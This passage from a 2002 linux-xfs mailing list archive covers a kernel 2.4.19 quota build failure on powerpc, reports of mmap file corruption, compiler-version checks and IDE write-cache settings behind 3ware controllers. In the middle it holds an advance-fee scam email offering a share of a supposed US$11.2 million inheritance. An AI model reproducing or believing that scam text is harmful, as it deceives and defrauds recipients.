g7593S35001521 for linux-xfs-outgoing; Mon, 5 Aug 2002 02:03:28 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from hob.slb.nwc.acsalaska.net (hob.slb.nwc.acsalaska.net [209.112.155.42]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7593ARw001433 for ; Mon, 5 Aug 2002 02:03:11 -0700 Received: from erbenson.alaska.net (197-pm16.nwc.alaska.net [209.112.141.197]) by hob.slb.nwc.acsalaska.net (8.11.6/8.11.6) with ESMTP id g75951q32010 for ; Mon, 5 Aug 2002 01:05:01 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 863FF3A0C for ; Mon, 5 Aug 2002 01:04:58 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 0B7CD10293; Mon, 5 Aug 2002 01:04:58 -0800 (AKDT) Date: Mon, 5 Aug 2002 01:04:57 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: 2.4.19 with split patches fails to build quota on powerpc Message-ID: <20020805010457.E24705@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <20020803145056.A25690@plato.local.lan> <20020805082302.GG3410@frodo> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="tEFtbjk+mNEviIIX" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020805082302.GG3410@frodo>; from nathans@sgi.com on Mon, Aug 05, 2002 at 06:23:02PM +1000 X-OS: Debian GNU Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --tEFtbjk+mNEviIIX Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Aug 05, 2002 at 06:23:02PM +1000, Nathan Scott wrote: > hi, >=20 > Looks like this crept in with that 2.5 quota port, Christoph. > On 2.5, L1_CACHE_SHIFT is declared for all architectures. I > guess we could go back to using HASHDEV(sb->s_dev?) for 2.4? >=20 > A simple build fix, Ethan, would be to change dquot.c::hashfn > so that it uses the HASHDEV macro again (similar to revision > 1.48 of fs/dquot.c, except no dev parameter anymore so use > sb->s_dev instead). I'll wait to hear from Christoph &/ Jan > before checking anything into the tree though. i decided to just disable the VFS quota option entirely since it appears unecessary for XFS quota to work.=20=20 the mmap file corruption problem is more of a concern atm (i can reproduce that quite readily ..) > cheers. >=20 > --=20 > Nathan >=20 >=20 > On Sat, Aug 03, 2002 at 02:50:56PM -0800, Ethan Benson wrote: > > This may not be the right place to report this, but... > >=20 > > on powerpc the following occurs: > >=20 > > gcc -D__KERNEL__ -I/usr/local/src/linux-2.4.19/include -Wall > > -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing > > -fno-common -fomit-frame-pointer -D__powerpc__ -fsigned-char > > -msoft-float -pipe -ffixed-r2 -Wno-uninitialized -mmultiple -mstring > > -nostdinc -I /usr/lib/gcc-lib/powerpc-linux/2.95.4/include > > -DKBUILD_BASENAME=3Ddquot -DEXPORT_SYMTAB -c dquot.c > > dquot.c: In function `hashfn': > > dquot.c:182: `L1_CACHE_SHIFT' undeclared (first use in this function) > > dquot.c:182: (Each undeclared identifier is reported only once > > dquot.c:182: for each function it appears in.) > > dquot.c:183: warning: control reaches end of non-void function > > make[3]: *** [dquot.o] Error 1 > > make[3]: Leaving directory `/usr/local/src/linux-2.4.19/fs' > > make[2]: *** [first_rule] Error 2 > > make[2]: Leaving directory `/usr/local/src/linux-2.4.19/fs' > > make[1]: *** [_dir_fs] Error 2 > >=20 > > AFAICT L1_CACHE_SHIFT is not defined for the powerpc arch (only alpha, > > mips64, s390, i386 and ia64 define it). > >=20 > > the offending line is: > >=20 > > static inline int const hashfn(struct super_block *sb, unsigned int > > id, int type) > > { > > return((((unsigned long)sb>>L1_CACHE_SHIFT) ^ id) * (MAXQUOTAS = - type)) % NR_DQHASH; > > } > >=20 > > this changed somewhere between -rc3 and the final 2.4.19 (rc3 was fine). > >=20 > > --=20 > > Ethan Benson > > http://www.alaska.net/~erbenson/ --=20 Ethan Benson http://www.alaska.net/~erbenson/ --tEFtbjk+mNEviIIX Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj1OP7kACgkQJKx7GixEevzrmACfS81fvWz91rTWf2WfthnSFRGN 2/sAn394uNO9Cz9tlOf4aehDjRGj/aiq =Zmyc -----END PGP SIGNATURE----- --tEFtbjk+mNEviIIX-- From owner-linux-xfs@oss.sgi.com Mon Aug 5 02:05:49 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7595nRw001863 for ; Mon, 5 Aug 2002 02:05:49 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7595n0p001862 for linux-xfs-outgoing; Mon, 5 Aug 2002 02:05:49 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from hob.slb.nwc.acsalaska.net (hob.slb.nwc.acsalaska.net [209.112.155.42]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7595fRw001832 for ; Mon, 5 Aug 2002 02:05:41 -0700 Received: from erbenson.alaska.net (197-pm16.nwc.alaska.net [209.112.141.197]) by hob.slb.nwc.acsalaska.net (8.11.6/8.11.6) with ESMTP id g7597Wq33956 for ; Mon, 5 Aug 2002 01:07:32 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 538863A0C for ; Mon, 5 Aug 2002 01:07:31 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 359E010293; Mon, 5 Aug 2002 01:07:31 -0800 (AKDT) Date: Mon, 5 Aug 2002 01:07:31 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: The mmap() problem is back Message-ID: <20020805010731.F24705@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <20020803132927.GA576@fruit.eu.org> <9862.1028384103@ocs3.intra.ocs.com.au> <20020803142405.GC576@fruit.eu.org> <1028390577.1131.4.camel@laptop.americas.sgi.com> <20020803160859.GE576@fruit.eu.org> <1028391174.1131.8.camel@laptop.americas.sgi.com> <20020803165941.GF576@fruit.eu.org> <20020805085806.GC863@fruit.eu.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="8vCeF2GUdMpe9ZbK" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020805085806.GC863@fruit.eu.org>; from wsl@fruit.eu.org on Mon, Aug 05, 2002 at 10:58:06AM +0200 X-OS: Debian GNU Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --8vCeF2GUdMpe9ZbK Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Aug 05, 2002 at 10:58:06AM +0200, Wessel Dankers wrote: > On 2002-08-03 18:59:41+0200, Wessel Dankers wrote: > > Also of note may be that I'm running it with the ngpt futex patch and t= he > > O(1) scheduler patch. >=20 > I just tried a kernel without any patches whatsoever: it exhibits the same > problem. I did notice that the file needs to be written in small chunks at > a time. For example: >=20 > dd if=3D/dev/zero of=3Dfoo bs=3D1024 count=3D9 i have reproduced this problem quite easily as well with a plain 2.4.19 + split patches on powerpc, its not difficult at all to reproduce. --=20 Ethan Benson http://www.alaska.net/~erbenson/ --8vCeF2GUdMpe9ZbK Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj1OQFMACgkQJKx7GixEevzfxACcDai+8OPhPCiXA+VTF+gEkfX8 4C0AoJvwrcTg7phBxnUHTyvuuFnQguu2 =yGhY -----END PGP SIGNATURE----- --8vCeF2GUdMpe9ZbK-- From owner-linux-xfs@oss.sgi.com Mon Aug 5 02:12:54 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g759CsRw002102 for ; Mon, 5 Aug 2002 02:12:54 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g759Csw3002101 for linux-xfs-outgoing; Mon, 5 Aug 2002 02:12:54 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g759CmRw002073 for ; Mon, 5 Aug 2002 02:12:49 -0700 Received: from hamburg.fcb.com ([170.200.66.61]) by hammail1.truenorth.com (Netscape Messaging Server 4.15 hammail1 Jul 25 2002 23:34:33) with ESMTP id H0D5NY00.925; Mon, 5 Aug 2002 11:14:22 +0200 Message-ID: <3D4E41FA.4020309@hamburg.fcb.com> Date: Mon, 05 Aug 2002 05:14:34 -0400 From: "Harald Wagener" Organization: FCB Wilkens User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1a+) Gecko/20020702 X-Accept-Language: en-us, en MIME-Version: 1.0 CC: linux-xfs@oss.sgi.com, netatalk-devel@lists.sourceforge.net Subject: Re: 2.4.19 with split patches fails to build quota on powerpc References: <20020803145056.A25690@plato.local.lan> <20020805082302.GG3410@frodo> <20020805010457.E24705@plato.local.lan> X-Enigmail-Version: 0.65.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.9 required=5.0 tests=MISSING_HEADERS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Ethan Benson wrote: [ snip ] > the mmap file corruption problem is more of a concern atm (i can > reproduce that quite readily ..) > > Let me just add that mapcheck reproducibly segfaults on .Parent files generated by netatalk. I can provide more data if that is needed. Regards, Harald -- Harald Wagener*An der Alster 42*20099 Hamburg*http://www.fcb-wilkens.com From owner-linux-xfs@oss.sgi.com Mon Aug 5 06:59:51 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g75DxpRw009019 for ; Mon, 5 Aug 2002 06:59:51 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g75DxpEa009018 for linux-xfs-outgoing; Mon, 5 Aug 2002 06:59:51 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from atrey.karlin.mff.cuni.cz (postfix@atrey.karlin.mff.cuni.cz [195.113.31.123]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g75DxhRw008989 for ; Mon, 5 Aug 2002 06:59:44 -0700 Received: by atrey.karlin.mff.cuni.cz (Postfix, from userid 4043) id 9F4894F9AE; Mon, 5 Aug 2002 16:01:36 +0200 (CEST) Date: Mon, 5 Aug 2002 16:01:36 +0200 From: Jan Kara To: Nathan Scott Cc: Ethan Benson , Christoph Hellwig , Jan Kara , linux-xfs@oss.sgi.com Subject: Re: 2.4.19 with split patches fails to build quota on powerpc Message-ID: <20020805140136.GG22651@atrey.karlin.mff.cuni.cz> References: <20020803145056.A25690@plato.local.lan> <20020805082302.GG3410@frodo> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020805082302.GG3410@frodo> User-Agent: Mutt/1.3.28i X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hello, > Looks like this crept in with that 2.5 quota port, Christoph. > On 2.5, L1_CACHE_SHIFT is declared for all architectures. I > guess we could go back to using HASHDEV(sb->s_dev?) for 2.4? Yes, that's right. > A simple build fix, Ethan, would be to change dquot.c::hashfn > so that it uses the HASHDEV macro again (similar to revision > 1.48 of fs/dquot.c, except no dev parameter anymore so use > sb->s_dev instead). I'll wait to hear from Christoph &/ Jan > before checking anything into the tree though. Honza From owner-linux-xfs@oss.sgi.com Mon Aug 5 07:21:15 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g75ELFRw009713 for ; Mon, 5 Aug 2002 07:21:15 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g75ELFDw009712 for linux-xfs-outgoing; Mon, 5 Aug 2002 07:21:15 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.ocs.com.au (mail.ocs.com.au [203.34.97.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g75EL7Rw009673 for ; Mon, 5 Aug 2002 07:21:08 -0700 Received: (qmail 10894 invoked from network); 5 Aug 2002 14:22:58 -0000 Received: from ocs3.intra.ocs.com.au (192.168.255.3) by mail.ocs.com.au with SMTP; 5 Aug 2002 14:22:58 -0000 Received: by ocs3.intra.ocs.com.au (Postfix, from userid 16331) id B20BF3000BA; Tue, 6 Aug 2002 00:21:30 +1000 (EST) Received: from ocs3.intra.ocs.com.au (localhost [127.0.0.1]) by ocs3.intra.ocs.com.au (Postfix) with ESMTP id 6E24594; Tue, 6 Aug 2002 00:21:30 +1000 (EST) X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 From: Keith Owens To: Ethan Benson Cc: linux-xfs@oss.sgi.com Subject: Re: The mmap() problem is back In-reply-to: Your message of "Mon, 05 Aug 2002 01:07:31 PST." <20020805010731.F24705@plato.local.lan> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 06 Aug 2002 00:21:25 +1000 Message-ID: <3674.1028557285@ocs3.intra.ocs.com.au> X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Mon, 5 Aug 2002 01:07:31 -0800, Ethan Benson wrote: >On Mon, Aug 05, 2002 at 10:58:06AM +0200, Wessel Dankers wrote: >> On 2002-08-03 18:59:41+0200, Wessel Dankers wrote: >> > Also of note may be that I'm running it with the ngpt futex patch and t= >he >> > O(1) scheduler patch. >>=20 >> I just tried a kernel without any patches whatsoever: it exhibits the same >> problem. I did notice that the file needs to be written in small chunks at >> a time. For example: >>=20 >> dd if=3D/dev/zero of=3Dfoo bs=3D1024 count=3D9 > >i have reproduced this problem quite easily as well with a plain >2.4.19 + split patches on powerpc, its not difficult at all to reproduce. Could people reporting this problem please include their compiler and binutils versions (gcc -v ; ld -v). I am running 2.4.19-xfs from immediately after it was released, and I cannot reproduce the problem. Tested on UP and SMP using Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs gcc version 2.96 20000731 (Red Hat Linux 7.1 2.96-81) GNU ld version 2.10.91 (with BFD 2.10.91.0.2) From owner-linux-xfs@oss.sgi.com Mon Aug 5 07:30:00 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g75ETxRw009981 for ; Mon, 5 Aug 2002 07:29:59 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g75ETxqA009980 for linux-xfs-outgoing; Mon, 5 Aug 2002 07:29:59 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g75ETnRw009952 for ; Mon, 5 Aug 2002 07:29:49 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA06019; Mon, 5 Aug 2002 09:31:33 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id JAA46672; Mon, 5 Aug 2002 09:31:33 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g75EV4i14746; Mon, 5 Aug 2002 09:31:04 -0500 Subject: Re: The mmap() problem is back From: Steve Lord To: Keith Owens Cc: Ethan Benson , linux-xfs@oss.sgi.com In-Reply-To: <3674.1028557285@ocs3.intra.ocs.com.au> References: <3674.1028557285@ocs3.intra.ocs.com.au> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 05 Aug 2002 09:31:04 -0500 Message-Id: <1028557864.14705.5.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.6 required=5.0 tests=IN_REP_TO,SIGNATURE_DELIM version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Mon, 2002-08-05 at 09:21, Keith Owens wrote: > On Mon, 5 Aug 2002 01:07:31 -0800, > Ethan Benson wrote: > >On Mon, Aug 05, 2002 at 10:58:06AM +0200, Wessel Dankers wrote: > >> On 2002-08-03 18:59:41+0200, Wessel Dankers wrote: > >> > Also of note may be that I'm running it with the ngpt futex patch and t= > >he > >> > O(1) scheduler patch. > >>=20 > >> I just tried a kernel without any patches whatsoever: it exhibits the same > >> problem. I did notice that the file needs to be written in small chunks at > >> a time. For example: > >>=20 > >> dd if=3D/dev/zero of=3Dfoo bs=3D1024 count=3D9 > > > >i have reproduced this problem quite easily as well with a plain > >2.4.19 + split patches on powerpc, its not difficult at all to reproduce. > > Could people reporting this problem please include their compiler and > binutils versions (gcc -v ; ld -v). I am running 2.4.19-xfs from > immediately after it was released, and I cannot reproduce the problem. > Tested on UP and SMP using > Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs > gcc version 2.96 20000731 (Red Hat Linux 7.1 2.96-81) > GNU ld version 2.10.91 (with BFD 2.10.91.0.2) I would have to concur with Keith here, I cannot reproduce this either, possibly compiler related, possibly something about peoples setups. My compiler: Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs gcc version 2.96 20000731 (Red Hat Linux 7.2 2.96-108.7.2) GNU ld version 2.11.93.0.2 20020207 Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Mon Aug 5 08:41:40 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g75FfeRw014886 for ; Mon, 5 Aug 2002 08:41:40 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g75FfepN014885 for linux-xfs-outgoing; Mon, 5 Aug 2002 08:41:40 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from imf02bis.bellsouth.net (mail002.mail.bellsouth.net [205.152.58.22]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g75FfVRw014855 for ; Mon, 5 Aug 2002 08:41:31 -0700 Received: from TAZ2 ([66.156.2.18]) by imf02bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020805154453.LUY27309.imf02bis.bellsouth.net@TAZ2>; Mon, 5 Aug 2002 11:44:53 -0400 Date: Mon, 5 Aug 2002 11:42:05 -0400 From: Greg Freemyer Subject: Turning off write protect of IDE drives hidden behind a 3ware controller? [WAS: recovery failed after power off] To: Simon Matter cc: Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20020805154453.LUY27309.imf02bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g75FfVRw014857 X-Spam-Status: No, hits=0.6 required=5.0 tests=SUBJ_HAS_Q_MARK,SUPERLONG_LINE version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk >> Greg Freemyer schrieb: >> > >> > >> On Fri, Aug 02, 2002 at 02:19:28PM +0200, Christian Thalinger >> wrote: >> > >> > Yep, IDE drive with write cache. Sorry, i could guess it myself. >> > >> > Without write cache recovery seems to be ok. Now i have to find >> out >> > >> > how to disable write cache of IDE drives on a 3ware controller >> ;-) >> > >> > >> This can be done both via the 3ware BIOS which you can enter at >> bootup, >> > >> or via the 3dmd web-based management system. >> > >> > >> --> Jijo >> > >> > I know that turns off the write cache on the 3ware controller itself. >> > >> > Does it also turn off the write cache on the underlying IDE drives? >> There are tools around, usually from the drive vendor, with which you >> can change cache configuration. Unfortunately there are IDE drives >> around which don't disable write cache even if they are configured to do >> so. >> Simon Simon, I believe the 3ware controller effectively hides the IDE nature of the drives from the OS/bios and I doubt if the drive vendor's tools are smart enough to work in a 3ware environment. Are you suggesting that in a 3ware environment, one should move the IDE drives to a computer with standard IDE controllers; turn off the write cache, then move them back behind the 3ware controller? I can see that working if the drives store that piece of their config in Non-volatile RAM, but I don't have that level of knowledge. If that is what needs to be done, I can certainly do it, but it does seem to be a pain. Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Mon Aug 5 10:56:07 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g75Hu6Rw017160 for ; Mon, 5 Aug 2002 10:56:06 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g75Hu66W017159 for linux-xfs-outgoing; Mon, 5 Aug 2002 10:56:06 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g75Hu0Rw017128 for ; Mon, 5 Aug 2002 10:56:00 -0700 Received: from Mail.CERT.Uni-Stuttgart.DE (mail.cert.uni-stuttgart.de [129.69.16.17]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id KAA04429 for ; Mon, 5 Aug 2002 10:58:30 -0700 (PDT) mail_from (Weimer@CERT.Uni-Stuttgart.DE) Received: from rusfw by Mail.CERT.Uni-Stuttgart.DE with local (Exim 4.04) id 17blxL-0007EM-00; Mon, 05 Aug 2002 19:47:47 +0200 To: Keith Owens Cc: Ethan Benson , linux-xfs@oss.sgi.com Subject: Re: The mmap() problem is back References: <3674.1028557285@ocs3.intra.ocs.com.au> From: Florian Weimer Date: Mon, 05 Aug 2002 19:47:47 +0200 In-Reply-To: <3674.1028557285@ocs3.intra.ocs.com.au> (Keith Owens's message of "Tue, 06 Aug 2002 00:21:25 +1000") Message-ID: <87znw1yz7g.fsf@CERT.Uni-Stuttgart.DE> Lines: 21 User-Agent: Gnus/5.090007 (Oort Gnus v0.07) Emacs/21.2 (i386-debian-linux-gnu) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Keith Owens writes: > Could people reporting this problem please include their compiler and > binutils versions (gcc -v ; ld -v). I am running 2.4.19-xfs from > immediately after it was released, and I cannot reproduce the problem. > Tested on UP and SMP using > Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs > gcc version 2.96 20000731 (Red Hat Linux 7.1 2.96-81) > GNU ld version 2.10.91 (with BFD 2.10.91.0.2) I've encountered the same problem with ReiserFS ages ago. In this case, the page cache had the correct view, but the data on disk was wrong. Unless the page was somehow flushed, the real disk contents didn't show up until the next reboot. Maybe similar things are happening here... -- Florian Weimer Weimer@CERT.Uni-Stuttgart.DE University of Stuttgart http://CERT.Uni-Stuttgart.DE/people/fw/ RUS-CERT fax +49-711-685-5898 From owner-linux-xfs@oss.sgi.com Mon Aug 5 11:11:22 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g75IBKRw017643 for ; Mon, 5 Aug 2002 11:11:21 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g75IB1eA017639 for linux-xfs-outgoing; Mon, 5 Aug 2002 11:11:01 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from web12901.mail.yahoo.com (web12901.mail.yahoo.com [216.136.174.68]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g75IAoRw017609 for ; Mon, 5 Aug 2002 11:10:51 -0700 Message-ID: <20020805181239.62100.qmail@web12901.mail.yahoo.com> Received: from [193.251.130.61] by web12901.mail.yahoo.com via HTTP; Mon, 05 Aug 2002 19:12:39 BST Date: Mon, 5 Aug 2002 19:12:39 +0100 (BST) From: =?iso-8859-1?q?ahmed=20jubril?= Subject: Appealing for ugent business proposal To: linux-xfs@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=3.4 required=5.0 tests=FROM_ENDS_IN_NUMS,US_DOLLARS version=2.20 X-Spam-Level: *** Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Dear sir, Permit me to inform you of my desire of going into businessraine@deloitte.co.uk s relationship with you. I got your contact from the Ivory coast chember of commerce. I prayed over it and selected your name among other names due to its esteeming nature and I perssonaly recommend you as a reputable and trust worthy person I can do business with though we've not know before and by my recommendations,I must not hesitate to confide in you for this simple and sincere business. I am Ahmed Jubril, The only son of late Alhaji and Mrs Ibrahim Jubril . My father was a very wealthy cocoa and Elephant tusk MERCHANT IN Abidjan, the capital of Ivory Coast before he was poisoned to death by his business associates on one of their outing to discuss on a business deal. Before the death of my father, he took me so special as his only son that he promise to prepare my future for better. Since I was not present on the 29th June 2000, the day he (my father) died in a private hospital here in Abidjan, he called my mother on his bedside revealing to her that he has one metal box contaning the sum of US$11.200.000 Dollars (Eleven Million, Two Hundrend Thousand United States Dollars)and 4kgs of raw Gold left in one of the security company here in Abidjan,he later handed her over the certificate of deposit and prove of ownership and that he used my name as his only son for the next of kin in the deposit of this fund. He also explained to my mother that it was because of this money that he was poisoned by his business associates who doesn't know the actual place this money was deposited. He also advised me that I should seek for a foreign partner in a country of my choice where I can transfer this fund and use it for investment purposes (such as estate management) and that immediately it is done, I should leave the country for he fears my security is in danger. I have already discussed it with my mother and she assured me that this money will be transferred immediatrely I got a trust worthy and a genuine pertner overseas. Dear, I am honourably seeking your assistance for the transfer of this money which I am sure will open a business relationship between both of us. Furthermore, you can indicate your option towards assisting me by email for us to discuss terms and conditions for this transactions. Thanks for your co-operations. Yours sincerely, Ahmed Jubril __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com From owner-linux-xfs@oss.sgi.com Mon Aug 5 11:40:48 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g75IemRw018152 for ; Mon, 5 Aug 2002 11:40:48 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g75IemwZ018151 for linux-xfs-outgoing; Mon, 5 Aug 2002 11:40:48 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from fruit.eu.org (qmailr@17dyn28.ztm.casema.net [213.17.32.28]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g75IeeRw018123 for ; Mon, 5 Aug 2002 11:40:41 -0700 Received: (qmail 7082 invoked by uid 500); 5 Aug 2002 18:42:32 -0000 Date: Mon, 5 Aug 2002 20:42:32 +0200 From: Wessel Dankers To: linux-xfs@oss.sgi.com Subject: Re: The mmap() problem is back Message-ID: <20020805184232.GD863@fruit.eu.org> Mail-Followup-To: linux-xfs@oss.sgi.com References: <20020805010731.F24705@plato.local.lan> <3674.1028557285@ocs3.intra.ocs.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3674.1028557285@ocs3.intra.ocs.com.au> User-Agent: Mutt/1.4i X-oi: oi X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On 2002-08-06 00:21:25+1000, Keith Owens wrote: > Could people reporting this problem please include their compiler and > binutils versions (gcc -v ; ld -v). I am running 2.4.19-xfs from > immediately after it was released, and I cannot reproduce the problem. > Tested on UP and SMP using > Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs > gcc version 2.96 20000731 (Red Hat Linux 7.1 2.96-81) > GNU ld version 2.10.91 (with BFD 2.10.91.0.2) Compilers: (I tried each of them, all exhibited the mmap() problem) Reading specs from 